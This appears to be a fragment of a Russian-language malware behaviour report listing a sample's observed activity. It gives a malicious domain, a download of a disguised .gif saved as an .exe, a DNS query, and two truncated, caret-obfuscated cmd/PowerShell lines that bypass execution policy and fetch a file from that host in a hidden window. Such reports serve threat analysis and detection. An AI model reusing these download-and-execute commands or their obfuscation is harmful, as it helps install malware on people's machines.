Техническая информация
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "P^oWE^R^S^he^Ll.e^x^e^ ^-^ExECUt^I^OnPO^L^ic^y ^byPaSS^ -NoprofiLe -w^i^Nd^Ows^TyLE h^i^DDEn (^nEw-^obj^E^C^t S^YStEm.NEt^.^We^b^CL^IE^N^t^).DoWNlOaDf^ile('http://www.zonedopesa.t...
- DNS ASK zo###opesa.top
- '<SYSTEM32>\cmd.exe' /C "P^oWE^R^S^he^Ll.e^x^e^ ^-^ExECUt^I^OnPO^L^ic^y ^byPaSS^ -NoprofiLe -w^i^Nd^Ows^TyLE h^i^DDEn (^nEw-^obj^E^C^t S^YStEm.NEt^.^We^b^CL^IE^N^t^).DoWNlOaDf^ile('http://www.zonedopesa.t...' (со скрытым окном)